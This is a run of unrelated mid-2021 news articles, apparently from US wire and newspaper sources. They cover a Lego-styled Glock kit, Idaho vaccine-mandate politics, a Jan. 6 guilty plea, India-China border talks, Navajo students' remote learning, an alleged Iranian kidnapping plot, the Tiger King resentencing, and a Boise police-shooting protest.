(Reporting by Marius Zaharia; Writing by Ben Blanchard; Editing by Simon Cameron-Moore)
A Utah-based gun company faces backlash this week after selling a Glock handgun casing that transforms the weapon to look like a children's Lego toy.

The gun company, Culper Precision, agreed to remove the product from its website and "not make or sell anything like this in the future" after Lego reached out, according to a statement from Lego to USA TODAY.

The "BLOCK19" kit, which borrows from Lego's characteristic red, blue and yellow brick design, debuted last week with a website page touting it as "SUPER FUN!"

"This is just one small way to break the rhetoric from Anti-Gun folks and draw attention to the fact that the shooting sports are SUPER FUN!" said the site, which has been taken down, according to The Washington Post. "Heres the thing. Guns are fun. Shooting is fun. 30 rounds full auto is fun."

The BLOCK19 set off a social media firestorm amid concerns that the kit could cost children their lives.

David Pucino, a senior staff attorney at Giffords Law Center, said it is reckless to refashion a gun to look like a toy: "There is a level of responsibility that comes with being in the business of deadly weapons."

"If you are selling a weapon that can kill someone, you need to take responsibility for that, to acknowledge the risks your product poses and to make it as safe as possible," he said. "Culper Precision failed to live up to that standard in every way."

Pucino said no federal law prohibits guns from resembling toys, but the BLOCK19 may qualify as a prohibited "disguised gun" under law in certain states, including New York. Pucino called the product irresponsible and said it "goes against the most basic tenets of gun safety."

"This is a horrifying product," he said. "The risk of any person, but in particular a child, confusing a handgun with this covering for a toy, are obvious. The first thing you tell a child about guns is that a gun is not a toy."

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Shannon Watts, founder of Moms Demand Action, voiced her concerns about the product on Twitter. Watts told USA TODAY the "unintentional shooting crisis that we have in this country" is "a uniquely American crisis."

"It's because we have this vocal minority of gun extremists who believe that unfettered access to loaded guns at all times supersedes the sanctity of life and the safety of children," she said. "That is not the mainstream view of Americans. It's certainly not the view of responsible gun owners."

'Has to end': Biden targets illegal gun sales, rogue dealers in strategy to combat rising crime

There was a 31% increase in unintentional shooting deaths by children from March to December 2020 compared with the same time period in 2019, according to Everytown Research & Policy. The organization counted 314 unintentional shooting incidents, resulting in 128 deaths and 199 nonfatal injuries.

"What this company is doing is putting children's lives in peril," Watts said. "It's dangerous and repulsive."

She said, "There's no responsible gun owner in this country who would think that this is acceptable."

In a statement after the backlash, Culper Precision said, "People have the right to customize their property to make it look like whatever they want."

"It seems that no matter what we create in the firearms industry anti gunners seem to leverage every *true* innovation shortly after its release to talk about why guns are bad," the statement said. "Rather than live in fear of the loud voices on social media we decided to release Block19 in an attempt to communicate that ... owning and shooting firearms responsibly is a really enjoyable activity."

The statement said responsible gun owners are expected to safely secure their firearms, but "we are never in support of legislating personal responsibility."

"We would remind everyone that failing to secure a firearm of ANY color from unauthorized persons is irresponsible," according to the statement.

Though Pucino was relieved to hear the gun kit was no longer available, he was disappointed Culper Precision "failed to apologize or even acknowledge why so many people were appalled at this dangerous product."

Contact News Now Reporter Christine Fernando at cfernando@usatoday.com or follow her on Twitter at @christinetfern.

This article originally appeared on USA TODAY: 'Lego Glock,' made by Utah gun company, triggers social media backlash
Devastating and terrible  thats how critics described the impacts on businesses if a ban were enacted on vaccine mandates in Idaho.

But pressure from Lt. Gov. Janice McGeachin and some lawmakers has prompted leaders to consider reconvening the legislative session to bar employers from requiring vaccines. And the decision likely will rest with senators as they meet on Friday.

McGeachin last week issued a letter to House Speaker Scott Bedke, an Oakley Republican, urging him to reconvene the session after three large health care systems in Idaho announced COVID-19 vaccine requirements for their employees  to go along with other mandated immunizations.

In a press release Wednesday, McGeachin said the Legislature should reconvene to protect Idahoans from medical tyranny. She brought up an Oregon law that exempts some employees from vaccine requirements.

Thousands of Idahoans are about to have their jobs and paychecks used as leverage to coerce them into making a medical decision that violates their conscience, McGeachin said. This idea of discriminating against and firing employees based on private and personal health decisions flies in the face of the principles of liberty and justice.

The Idaho House already passed a milder bill earlier this year that would have barred companies with state contracts from vaccine mandates. That bill, sponsored by Rep. Priscilla Giddings, didnt get a hearing in the Senate.

Another resolution, stating the Legislatures opposition to vaccine mandates, also passed the House and not the Senate.

We didnt get consensus when we were in session, Bedke said. Looking out for the taxpayer, there should be consensus before we move forward. And thats what were doing right now.

Senate President Pro Tem Chuck Winder first told Idaho Reports that the Senate would caucus on Friday to discuss reconvening over vaccine mandates.

The regular legislative session ended in May on a questionable note  the House chose to recess, meaning legislators would return sometime before the end of the year, without needing Gov. Brad Little to call them back. But the Senate voted to end the session.

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Winder told the Statesman on Tuesday that if the Senate does choose to reconvene, he wants the session to be limited to the issue at hand. But resuming the regular session likely would mean that legislators could introduce new bills and address whatever they wanted.

Bedke said that if legislators do reconvene, he expects them to try to pass other bills that dont involve vaccine mandates. Some legislators feel that they left the property tax bill undone, he said.

The shorter a session can be, the better, Bedke said. That will rely on whether senators want to, and that only happens when theres a general consensus.

In a response to emailed questions, McGeachin wrote that its up to legislators to decide what issues they want to address.

Neither the Legislature nor I have any desire for it to become a full-time body, McGeachin wrote.

Why senators opposed Giddings bill on vaccine mandates

A bill by Giddings, who is running for lieutenant governor, would have prevented companies with state contracts from firing, demoting, or refusing to hire or promote employees over whether theyre unvaccinated. The legislation would have applied to any vaccines, not just COVID-19 shots.

The House supported the bill in a 49-21 vote. It didnt get a hearing in the Senate Commerce and Human Resources Committee.

Sen. Jim Patrick, a Twin Falls Republican and chairman of the committee, said the bill would have prevented companies from continuing policies that had been in place for years. Patrick also said he opposes big government and doesnt believe the state should interfere with businesses.

As a conservative, why would I want to tell businesses what to do? Patrick told the Statesman. If they decide that you should wear shoes and socks, OK. That should be their prerogative.

Patrick said Giddings bill was really bad in the way it was written, and could have been modified to focus on COVID-19 or vaccines that had been approved by the Food and Drug Administration beyond emergency use.

Hospitals have required vaccines for public safety, Patrick said, but other businesses also mandate them for a variety of reasons. An activist group has been placing pressure on lawmakers to address such mandates, Patrick said, and a rally is scheduled at the Capitol on Thursday morning.

Some of the legislators are saying, we dont want to fight this group, Patrick said. Well, Im going to do whats right.

McGeachin wrote that the bill did not fail in the Senate.

It was put in a drawer by a committee chair who made the personal decision to ignore a bill that passed the House by more than a two-thirds majority, McGeachin wrote. Perhaps bills that pass one chamber by a significant majority should receive a hearing in the other chamber regardless of the chairs personal feelings on the matter.

Federal court poses challenge in banning vaccine requirements

Sen. Fred Martin, a Boise Republican who chairs the Senate Health and Welfare Committee, said the bill would have been devastating in its impacts by jeopardizing Medicaid and Medicare throughout the state and affecting hospital state contracts.

Martin also questions whether the Legislature can return to session or ban such business mandates. A recent federal court ruling in Texas was clear that hospitals have a right to mandate vaccines, he pointed out.

I dont see a path forward, Martin said. Our ability to come into session is definitely a question in my mind. And if we do go in and pass something, I see it being challenged immediately in the courts. And the state would lose.

A federal judge last month tossed out a lawsuit against Houston Methodist Hospital and ruled that it had a right to require the COVID-19 vaccine of employees  a decision that attorneys have said is significant for cases across the country. The plaintiffs have appealed the ruling.

Bedke said that while I dont like mandates, he doesnt believe government should get involved in contracts between employees and employers.

More government intervention is not the answer, Bedke told the Statesman on Tuesday. And Im frankly surprised the champions of less government through the years are now advocating for a more-government solution.

IACI opposes ban on vaccine mandates

The Idaho Association of Commerce and Industry, an influential business group, sent out a letter Tuesday opposing the Legislatures effort to reconvene over vaccine mandates and commending Bedke, who is running for lieutenant governor.

Alex LaBeau, IACI president, wrote that requiring vaccines has been a long, common and necessary practice ... for the safe operation of commerce.

Unfortunately, erroneous information continues to be pushed by those who would seek political gain at the expense of saving lives, LaBeau wrote after criticizing McGeachin, who is running for governor. They would even go so far as to create new government regulation on businesses to suit their personal ambitions.

LaBeau told the Statesman that IACIs members unanimously supported the letter. He said banning vaccine requirements would be terrible for businesses, which rely on such measures to prevent liability and conduct their work. Some employees may have to travel overseas, LaBeau said, where many countries require vaccinations.

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House Majority Caucus Chair Megan Blanksma, a Hammett Republican, agreed with Bedke. She said she doesnt believe the Legislature should reconvene at the moment.

Im hopeful that we have better solutions, and that we can deal with it in the private sector, Blanksma told the Statesman on Tuesday, and that we dont have to insert government into the issue.

House Majority Leader Mike Moyle, a Star Republican, told the Statesman that he supports returning to session to address vaccine requirements.

Now are vaccines good? Absolutely. Are they important? Absolutely. But you ought to be able to decide, Moyle said. This is America. There ought to be freedom to choose.

House Minority Leader Ilana Rubel, a Boise Democrat, said the message from some Republicans about protecting employees is a complete flip from what has been a years-long argument against adding nondiscrimination protection for LGBTQ employees in Idaho.

It seems like a really startling about-face from what had always been put forth as the conservative principles of this state, Rubel said. Im a little puzzled on how they reconcile that.
WASHINGTON  An Idaho man who was seen dangling from the Senate gallery and sitting in the chair earlier occupied by Vice President Mike Pence pleaded guilty Wednesday to charges stemming from the Jan. 6 riot at the U.S. Capitol.

The man, Josiah Colt, 34, of Meridian, Idaho, entered the guilty plea in U.S. District Court in Washington, D.C., to a charge of obstructing Congress in its effort to formally count the Electoral College vote for president.

The maximum punishment is 20 years in prison, but his sentence will undoubtedly be far less severe. Court documents said he has agreed to cooperate with the FBI's investigation of the siege.

Prosecutors said Colt traveled to Washington with two other men. Both of them face separate charges.

Colt admitted that as senators were being evacuated from the chamber, he forced his way past U.S. Capitol Police into the gallery, the viewing area above the Senate floor. He climbed down from there, and a photo showing him clinging to the wall became a widely viewed image of the siege.

The FBI said he then headed to the front of the chamber and sat in the presiding officer's chair, which had earlier been where Pence led the session as the Senate president. Pence was rushed to a secure location during the riot.

A rioter and supporter of President Donald Trump moves to the floor of the Senate chamber on Jan. 06, 2021. (Win McNamee / Getty Images file)

Court papers said that Colt bought a gas mask and a helmet before he came to Washington and that he wore them when he entered the Capitol.

More than 535 people have been arrested on charges related to the siege.
NEW DELHI (AP)  The foreign ministers of India and China met in Tajikistan on Wednesday with New Delhi stressing that a military standoff along a mountainous border area was profoundly disturbing their ties, and warning that any unilateral change in the status quo by Beijing was unacceptable.

Full restoration and maintenance of peace and tranquility in border areas is essential for the development of bilateral ties, Indian External Affairs Minister S. Jaishankar said in a tweet.

Jaishankar and Chinese Foreign Minister Wang Yi met on the sidelines of the Shanghai Cooperation Organization foreign ministers' meeting in Dushanbe, Tajikistan.

Chinas Foreign Ministry quoted Wang as saying the standoff benefited neither side and that China wanted to resolve the situation through dialogue.

China-India relations are defined by not threatening each other and providing mutual development opportunities. The two countries are partners, not opponents and especially not enemies, Wang was quoted as telling Jaishankar in a statement posted on the ministry's website.

The standoff between India and China has continued for more than a year despite military talks involving local commanders and political meetings between foreign and defense ministers.

Jaishankar said the two sides agreed Wednesday to hold a meeting of senior military commanders.

Last year, 20 Indian troops died in a clash with Chinese soldiers involving clubs, stones and fists in a portion of the disputed border. China said it lost four soldiers.

Both sides have mobilized tens of thousands of soldiers, artillery and fighter aircraft along the fiercely contested border known as the Line of Actual Control that separates Chinese and Indian-held territories from Ladakh in the west to Indias eastern state of Arunachal Pradesh, which China claims in its entirety.

Indian military officials say the Chinese army has stepped up deployment in the contested region, which has been met by a similar move by Indian troops.

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Also Wednesday, the Indian army denied a media report that Indian and Chinese soldiers had recently clashed again in eastern Ladakh.

"Ever since the disengagement agreement in February this year, there has been no attempt by either side to occupy the areas from where the disengagement had been undertaken. There have been no clashes in Galwan or any other area, as reported in the article," the army said in a statement.

India and China fought a war in 1962.

Recalling their last meeting in Moscow in September last year, Jaishankar emphasized the need to follow through on an agreement reached then on disengagement along the Line of Actual Control in Eastern Ladakh.

He said a successful disengagement in the Pangong Lake area earlier this year had created conditions for resolving the remaining issues. "It was expected that the Chinese side would work with us towards this objective. The Indian External Affairs Minister noted however that the situation in the remaining areas is still unresolved, the Indian side said in a statement.
This story was reported by Searchlight New Mexico, a nonpartisan, nonprofit news organization dedicated to investigative reporting in New Mexico, and shared with USA TODAY.

Snuggled between tumbleweeds and utility poles, with a view of Ute Mountain through the windshield, high school sophomore Evan Allen placed his school-issued laptop on the center armrest of his grandmothers truck and switched on his mobile Wi-Fi hotspot. Another school day was about to begin.

Every weekday, not long after the sun rested on the foothills of the Carrizo Mountains, Evan would rise from his foldout bed in his grandmothers home in Tiis Nazbas, Arizona, on the Navajo Nation. At about 7:10 a.m., hed grab his laptop, his school supplies and, if time allowed, some snacks, and make the 5 1/2-mile drive to the top of the hill above the local trading post, where a decent internet connection could be found.

School started at 8, but he made a point to get to the hill early and prepare for his seven classes from the drivers seat of his masanis Chevy. Hed stay in the truck for up to 10 hours, surrounded by dirt roads, parched juniper and desert terrain that stretched beyond the horizon.

Evan, now 16, attended virtual classes from the top of that same hill for more than a year, starting last March, when his school in the Navajo (Dine) community of Shiprock, New Mexico, went remote because of the COVID-19 pandemic. His grandmothers house was in an internet and cellular dead zone, so the hotspot in the truck was his only option.

Its exhausting, physically and mentally, he confessed this spring. I have to constantly do all this stuff thats back-to-back, and I dont have time to rest.

High school student Evan Allen attends virtual classes from his grandmothers truck on the Navajo Nation, surrounded by high desert.

Evan wasnt alone. Thousands of schoolchildren on the Navajo Nation live without internet access, computers, cellular service or basics like electricity. When the pandemic hit, more than 23,398 Native American students in New Mexico lacked the high-speed internet and devices they needed for remote learning, the states Public Education Department concluded. The true figure is significantly higher, since the agencys calculation didnt include the thousands of Indigenous students in Bureau of Indian Education schools, Albuquerque Public Schools and others.

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Students had to drive or be driven miles from home in search of a Wi-Fi connection. They sat in vehicles, for hours on end, on land fought for by their ancestors, drawing on their resilience.

A day in the life of Navajo Nation high school student Evan Allen

A typical morning for Evan began with music class, and he sometimes moved his laptop to the tailgate of the truck and played his percussion instruments: concert snare, marching snare, mallets, bass drum.

After band, he did work for his career exploration course. Then it was on to Navajo language and, finally, biology, with a five-minute break between classes.

He got just 45 minutes for lunch, so he usually stayed on the hill and ate the food he packed or bought something at the Teec Nos Pos Trading Post, a small general store in the Four Corners area, near the intersection of New Mexico, Colorado, Arizona and Utah.

'It hit us at our weakest': Worried about COVID-19, Navajo Nation ignores CDC, keeps masks and social distancing

I usually wait up there because coming back down here and going back up, I dont have much time," he said.

After lunch came English, and then the class Evan looked forward to least  Integrated Math 2, followed by history. The final class let out at 3:30 p.m. But because he didnt have internet access at home, he sometimes remained parked on the hill until 6 or 6:30, doing homework.

In the winter, he sat in the truck wrapped in a heavy wool blanket, hoping the cold weather didnt cause an internet outage. The Chevy got stuck in the snow and mud once, prompting him to find a backup spot for bad weather.

Evan Allen, pictured beneath the U.S. Highway 64 bridge in Shiprock, New Mexico, attended school last year while sitting in a truck on a remote hill  the only place he could get a decent internet connection.

During the monsoon, in July and August, internet access was even spottier. Evan often had such a poor connection that he couldnt log on. Even when he described the situation, some teachers insisted on counting him absent, he said.

They just say, Yeah, the weathers bad, but its your responsibility to be here, and thats up to you," he said. "Its frustrating because they dont understand that some students actually want to be there, but its what they have thats not working  the hotspots not connecting, or the internet is slow. They just blame you.

His grandmothers home, where he lives with his mother, is off Indian Route 5114, not far from the Tiis Nazbas (Teec Nos Pos) Chapter House, in Arizona. (In the Four Corners area, students often attend schools in neighboring states.) Initially, Evans school offered him a hotspot for internet access. But the device didnt work in the house, so his mother, Letitia Moone, asked the school for help. She received little or none.

They were just like, Keep trying, do what youre doing. Theyd tell Evan hes doing a good job, and that was it," Moone said.

The school did give Evan a different hotspot, saying the new one would work better.

"It didnt, Moone said.

Electricity transformed rural America a century ago: Now, millions of people on farms and in small towns desperately need broadband.

Evans school performance began to suffer. One teacher emailed Moone, saying that Evan was logging in late and struggling to get homework turned in. Moone, though she couldnt afford it, started shopping for their own hotspot. She called every internet provider on and near the reservation: They all told her she lived in a dead zone. She eventually did buy a device, but it worked only on the top of the hill.

Lunch was another problem. Evans school in Shiprock  30 miles southeast of his home  typically supplied the meal to students, all of whom are low-income and qualify for free lunch. But Evan didnt receive the food all year, Moone said.

Some students had their lunch delivered by bus, she discovered. But when she asked the school about a delivery for Evan, Moone said she never got a response.

She could see how neglect from the school was affecting her son. Heartsick, she tried to do everything she could to make things easier on him, especially since she knew other students were afforded conveniences he was not.

The school never gave caring support, she felt.

Its really not support at all, because I never really got answers and I never really got help, she said.

Lost connections: The lasting impact of remote learning on Dine students

Help was in short supply across all of Indian Country.

Indigenous students in New Mexico sat in the cold and heat outside of community Wi-Fi hotspots that were set up in school buses parked at gas stations or on dirt roads. Students drove for miles to work outside of schools or chapter houses in a desperate search for signals. And even at these hotspots, they often grappled with slow internet speeds that made it difficult to do schoolwork or download and upload assignments.

Most of us, we dont like it, Evan said. Some classmates just gave up. They left school, or didnt even sign up at all.

'We're born Indian and we die white': Indigenous leaders in California fear COVID-19 deaths go undercounted

Problems with internet access on the Navajo Nation were not new  government agencies had documented them for more than 15 years  but the situation was vastly exacerbated when the pandemic struck and all schools switched to remote learning.

The coronavirus swept through the Navajo Nation with ferocity, fueling some of Americas highest infection rates. As of July 6, more than 31,000 Dine had tested positive for the virus, according to the Navajo Department of Health and Navajo Epidemiology Center. While the majority recovered, at least 1,354 died. More than 4,000 children between the ages of 10 and 19 tested positive.

COVID-19 vaccinations have not yet been approved for children under age 12, so they still face possible risks. But more than half of all adults on the Navajo Nation are now vaccinated, thanks to the tribes successful vaccine rollouts. And since February, schools have slowly begun reopening on the reservation and in nearby towns.

Evans school, funded by the Bureau of Indian Education and operated by a local nonprofit, chose to remain virtual for the remainder of the year, which suited Evan: He feared contracting the virus and wanted to keep working from his spot on the hill.

Students at other schools had the option of returning to traditional classrooms or continuing with remote learning, with its unstable internet connections and flawed digital platforms. Navajo families were left to choose between an effective in-person environment  or the safety of their children. Many chose the latter.

For Dine students, however, safety came at a cost. Many online learners dealt with depression, stress, isolation or despair. In cases like Evans, they managed to survive by exerting formidable discipline and commitment. But it took its toll.

The lack of support resulted in some students dropping out of school; it led to bad grades and emotional exhaustion. And for kids like Evan, it meant working even harder for an education that may be their only hope of future success.

Clifton Mariano, middle, and two of his 10 children watch television at their home in Shiprock, New Mexico.

Internet issues, times nine, for Mariano family of Shiprock, New Mexico

Shiprock residents Tammie and Clifton Mariano have 10 children at home, nine of whom attend three different schools in the Four Corners area of the Navajo Nation. Each had experiences like Evans.

Five children attended Mesa Elementary School; one went to Atsa Biyaazh Community School; and three went to Northwest Middle and High School, all in Shiprock.

The kids in elementary school waited more than half of the school year to get the digital devices they needed. The inequities couldnt have been more blatant: Tammie and Clifton were stuck guiding the children through paper workbooks while a teacher taught their wired classmates online.

Some people are lucky that they have the money to get laptops and all that, Clifton said. So its kind of hard for people that are struggling.

Clifton and Tammie were students themselves: They graduated this spring from a Dine College branch. So they needed to do virtual schoolwork, too.

Navajo woman are 'sacred' keepers of the cultural flame: They're also particularly vulnerable to COVID-19.

At first, we were going to McDonalds and KFC to find a good connection, Tammie said. But the Navajo Nation soon launched one of the strictest lockdowns in the country, with curfews and rigid travel restrictions.

Getting online became nearly impossible.

We used our phone hotspot and we tried to turn in assignments, but they wouldnt go through, she said.

The couple eventually decided to invest in internet installation, which took weeks and cost about $500; even then, the service was poor.

All of the children struggled.

Carter Mariano shoots hoops at his family's home in Shiprock, New Mexico.

One of the couples sons, a third-grader, was given 21 math assignments in a single week, with lasting negative impacts, Tammie said.

The homework packets were thick  about an inch and a half  and he basically stayed up doing it until like 12 or 1 in the morning. He would sit there pulling his hair, or hed start crying.

With their budget decimated by the extra digital purchases, affording food for a family of 12 also became a problem. The kids attending Northwest initially got a free lunch daily, but that changed, without explanation, to only three days a week. The Marianos had to ask their children to save some of their lunch from one day so theyd have something to eat on the next.

All of the childrens schools received not only federal Impact Aid, but also funding from the federal CARES Act. Although those funds are typically not enough to offset all costs, the lack of lunch distribution and tech resources left the Marianos wondering where the money went.

Schools (everywhere) got all this money  what are they doing with it? Clifton said. Did all of it go toward where they say its going to go, or just some of it? Basically, I guess well never know.

A MacBook, Wi-Fi and running water for every child in 'a perfect world'

School staff and teachers, for their part, described difficult work environments that made it impossible to help students. Some had to make their own homework packets and pay for copies out of their own pockets. (Searchlight New Mexico contacted nearly a dozen staffers and teachers, but none wanted to go on the record, fearing retaliation and loss of employment.)

Like students, many teachers had no broadband at home and had to drive for miles to get internet access. Some used personal laptops and bought cameras with their own money, just to be able to teach their classes from a parking lot in Shiprock. They shared stories of students disappearing from classes altogether, and of parents who never responded when staff tried to find the vanished children.

'Mom needs help. I'm going to work': The COVID-19 toll on the education of Floridas migrant students

The digital divide: Joe Biden wants to provide millions of Americans with high-speed internet. It wont be easy.

Gary Montoya, school board president for the Central Consolidated School District, saw still other crises. He traveled the dirt and washboard roads in the Four Corners region, off and on the Navajo Nation, to deliver homework packets to students, accompanied by his wife, Karla Aspaas-Montoya, a teacher in the district.

There were weeks and days where we were driving 60 miles round trip to deliver to these kids and check on them, Montoya said.

The sprawling district  spanning nearly 3,000 square miles  serves more than 5,700 students.

Some families didnt have running water or electricity. Others had no vehicle. Some students were looked after by grandparents, who often had little formal education and couldnt help with the schoolwork. Parents, grandparents and even great-grandparents pleaded for assistance.

Montoya said at one point he realized that the best he and his wife could do to help was to deliver packets and try to stay in touch with families that needed it.

It would be nice if in a perfect world every child had a MacBook, a Chromebook, had Wi-Fi and running water, he said.

It's not an option to simply give up on school: 'My future is on the line'

While the troubles of remote learning formed an interwoven fabric of failure, it was the students who were most affected. Some have been scarred, afraid to return to school. Others will need to repeat a grade or will suffer in the coming school year because they learned so little during the pandemic.

Still, in pickup trucks on hillsides, students have also shown enormous resiliency.

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Evans mother said she saw it in her son every day. He and countless children like him chose to keep trying, keep driving up the hill, keep parking at trading posts, keep sitting outside their local chapter houses, keep logging on.

I commend him for it because it takes hard work and hes very committed to his education, Moone said recently, fighting back tears. Evan had finished the spring term and officially become a high school junior. He is determined to forge a better life for himself, his mother said.

The fall semester starts in August. Evan doesnt know yet whether hell be in a classroom or in a truck on the hill. But hell be there.

Because for Evan, the risk in giving up is far greater for a reservation student learning out of his grandmothers truck in the middle of the desert.

My future is on the line, he said. If I dont do this, then theres nothing for me at all.

This story was produced with support from the Doris O'Donnell Innovations in Investigative Journalism Fellowship, awarded by the Center for Media Innovation at Point Park University in Pittsburgh.

This article originally appeared on USA TODAY: How Navajo Nation students survived 'exhausting' pandemic school year
A newly released Justice Department indictment charging four Iranian intelligence operatives with plotting to kidnap a New York-based journalist who had criticized the Iranian regime dramatically underscores how transnational abductions are becoming the new normal for repressive regimes around the world, two human rights activists said Wednesday.

Its a horrific attempt to silence dissent, Saudi activist Lina Alhathloul said during a Freedom House webinar about the alleged Iranian plot to lure Iranian American journalist Masih Alinejad to a third country so she could be forcibly rendered to Iran.

Iranian American journalist Masih Alinejad. (Twitter/@alinejadmasih via Reuters)

Her sister, prominent womens rights activist Loujain Alhathloul, was abducted in Dubai in 2018 and flown to Saudi Arabia, where she was thrown in prison and tortured under the direction of a top aide to Saudi Crown Prince Mohammed bin Salman, or MBS, according to U.S. officials and accounts from the Alhathloul family.

This is very much a moment when we see this phenomenon is becoming mainstream, added Nate Schenkkan, director of research strategy at Freedom House, an international watchdog group that promotes the cause of freedom. Its becoming something that dozens of governments around the world use to control exiles and diaspora members.

The comments came during a Freedom House-sponsored panel dedicated to the growing threat of the transnational repression trend, as detailed in a recent report and video from the group, and to the new season of Yahoo News "Conspiracyland," an eight-episode podcast that uncovered new details about the brutal murder of Saudi journalist Jamal Khashoggi inside the Saudi Consulate in Istanbul in October 2018.

As was noted in the panel discussion, there are striking parallels between the Saudi plot to assassinate Khashoggi and the alleged Iranian plot to kidnap Alinejad. Both targeted journalists who, after criticizing their governments, had moved to the United States to live in exile. Khashoggi had excoriated the harsh crackdowns by MBS, including the detention of Loujain Alhathloul. Alinejad had criticized the corruption and repressive measures of former Iranian President Mahmoud Ahmadinejad.

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Jamal Khashoggi. (Mohammed Al-Shaikh/AFP via Getty Images)

Both plots involved extensive surveillance on U.S. soil. In Khashoggis case, Saudi operatives recruited spies inside Twitter to steal personal data about regime critics and later used sophisticated spyware to hack the phones of one of those critics who was in extensive contact with the Saudi journalist. In Alinejads case, Iranian intelligence operatives used private investigators to follow, photograph and video-record the Iranian American journalist and members of her family in Brooklyn, according to federal prosecutors in Brooklyn, who on Tuesday brought the indictment against the Iranian operatives, all of whom reside in Iran.

Yet, as Schenkkan noted, the failure of the U.S. government, first under President Donald Trump and more recently under President Biden, to impose any sanctions against MBS sent a message to authoritarian regimes around the world that there would be no meaningful price to pay for abducting or even murdering their citizens on foreign soil. Countries do it because they can get away with it and because the consequences are not there, Schenkkan said.

Alhathloul said it was disheartening that defenders of the Saudi regime are citing the alleged Iranian plot against Alinejad to minimize or even normalize what happened to Khashoggi.

Its always so sad and frustrating to see that countries use the crimes of their rivals to minimize and justify what is happening within their own sphere, she said. You see the Saudis saying, Iran is worse than us. My message is we should be against repression whatever the nationality of the criminal is.

____

Read more from Yahoo News:
Tiger King star Joe Exotic will get a revised prison sentence in his murder-for-hire case, but will still face a significant amount of time behind bars.

A federal appeals court on Wednesday upheld the television star's conviction, but tossed out his 22-year prison sentence and ordered a redo, citing an error in the way a lower court judge calculated the amount of time.

Exotic, whose real name is Joseph Maldonado-Passage, was convicted on two charges of trying to pay assassins to kill rival Carole Baskin, the CEO of Big Cat Rescue. He was also convicted on eight counts for faking wildlife records and nine counts involving his killing and selling tigers, which are an endangered species.

Exotic's sentencing was before the federal appeals court over the question of whether to count his two murder-for-hire convictions separately or together when adjudicating the length of this prison term.

At the time of Exotic's sentencing in January 2020, the judge didnt group together the two counts, despite the fact that they shared a common criminal objective and were part of the same course of conduct, the federal court said.

Although the district court apparently thought that the two murder-for-hire plots shared a common criminal objective, it mistakenly (although quite understandably) thought that grouping would not be proper unless they were also part of the same course of conduct. This error in interpreting the guidelines requires reversal, the decision states.

In federal criminal cases, different factors are assigned numerical values  things like the seriousness of the charges, whether a person pleaded guilty, and whether they had previous convictions  and those numbers are added up to come up with a range of how much time someone should spend in prison. Judges don't have to stick to this advisory range, but they typically stay within the suggested timeframe to balance sentences across the criminal justice system.

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If the court had grouped the two murder-for-hire charges, Exotic's total offense score would have been 37, with sentencing range of 210 to 262 months. Instead, the ungrouped counts produced a final grade of 39, with a longer sentencing range of between 262 and 327 months.

Exotic's attorney, Brandon Sample, said in a statement that he was pleased with the appellate courts decision.

"I knew when I agreed to represent Joe that an appeal would be difficult, but I also knew that the law was on Joes side," he said. "I am optimistic that the decision today is but one of many more victories to come for Joe  and his eventual freedom."

Baskin declined to comment on the ruling, and there was no immediate timeline for then Exotic would be resentenced.

In 2021, as former president Donald Trump prepared to leave office, Exotic's attorneys were publicly touting their client's imminent White House pardon  which ultimately never came.

At the time, Baskin told BuzzFeed News she was thankful that Trump decided against a pardon.

"There is no benefit, other than a feeble attempt to deflect attention, for anyone to pardon someone who walked up to five tigers and shot them in the head in order to clear cage space for the circus, who was going to pay him to board their tigers during the offseason," she said. "Tigers are the world's favorite animal and Joe Schreibvogel Maldonado Passage is right where he belongs: in a cage."

Exotic had also tried to challenge his conviction because Baskin sat in the courtroom during his trial when she was a witness for the prosecution, but the appeals court said she had a right to be there because she was a victim.

Netflixs Tiger King documentary series featured the strangely alluring reality of Exotic's Greater Wynnewood Exotic Animal Park in Oklahoma. The keeper of a menagerie of big cats, he fosters an intense rivalry with Baskin of Big Cat Rescue.

Baskin is an animal rights activist who saw Exotic's keeping and crossbreeding of lions and tigers as evil, according to court documents. Baskins protests against Exotic escalated to the degree that the self-proclaimed Tiger King twice attempted to hire men to kill her. Baskin also won a lawsuit against Exotic in 2011 for trademark infringement.

Prosecutors say Exotic gave a person $3,000 to travel to Florida from Oklahoma to kill Baskin, and in another instance offered to sell "a bunch of tigers" to get money to pay an undercover FBI agent disguised as an assassin for hire, according to the US Attorney's Office for the Western District of Oklahoma.

Exotic is currently behind bars in Texas, and Baskin now owns his zoo properties.

More on this
On a smoky Tuesday evening in downtown Boise, around 50 people gathered for a peaceful protest at City Hall to voice their frustrations and demand accountability in the Boise police shooting of a Somali refugee.

Many held signs reading Show us the footage and Justice for Mohamud while facing Capitol Boulevard, in reference to Mohamud Hassan Mkoma, who remains hospitalized after being shot by members of the Boise Police Department on June 27. About an hour into the protest, they broadcast messages over a megaphone.

Tuesdays public demonstration was the first held by Boises Bantu community in support of Mkoma, who was suspected of taking a child and eventually involved in a police pursuit, according to BPD. Officials said patrol officers spotted him shortly after issuing a tweet with an image of Mkoma, 33, of Boise, and the 14-year-old boy he was alleged to have taken.

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But Mkomas family, who are members of the sizable Somali refugee community in Boise, said the teen is Mkomas son  a detail BPD still has never acknowledged. The father of five children shares custody with his ex-wife, and the teen had been living with his father the past two months, Mkomas sister and brother said.

He had his son the whole day that day. He was shot on his visitation with his son, Mkomas younger sister, Hawo Mkoma, told the Idaho Statesman last week.

After 911 dispatch received a call that Sunday afternoon, BPD said officers located the suspect and his vehicle a handful of hours later, and spotted a weapon that theyve never identified. When they tried to stop the suspect, police say he fled. Not far away, near the corner of 36th Street and Eyrie Way, they spun out the vehicle and officers confronted the driver  police have repeatedly declined to confirm it was Mkoma  and ended up firing their weapons.

Mana Mohamed, a representative for the local refugee community, said Tuesday that they want justice for Mkoma, and transparency, accountability and safety for the community. She and others have sought the release of body-camera footage of the shooting, which they were told by police would take several months.

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This is not OK. Police are refusing to show the information, said Farhad Albdairi, a 20-year old Meridian resident who attended the protest Tuesday. In fact, they know more than us ... (Police) shoot first and ask questions later.

The family and other members of Boises Bantu community met last week with Boise Police Chief Ryan Lee to present a list of demands of the city and police department going forward. On Monday evening, four representatives of the refugee community also met with Mayor Lauren McLean to discuss next steps, but in the interim, they all committed to protest Tuesday night at Boise City Hall.

Boise City Council members Holli Woodings, left, and Elaine Clegg meet with members of Boises Somali refugee community during Tuesday nights protest.

During a break in Tuesdays regular weekly City Council meeting, McLean was joined by members Elaine Clegg, Holli Woodings and Jimmy Hallyburton in greeting demonstrators and answering a few questions.

Wheres the footage of the shooting? You come out for a photo op, one protester shouted at McLean. Wheres the accountability, Mayor McLean?

During its meeting, the City Council went through its agenda items and did not address the protest. The council meeting ended just before 8 p.m., with protesters still outside.

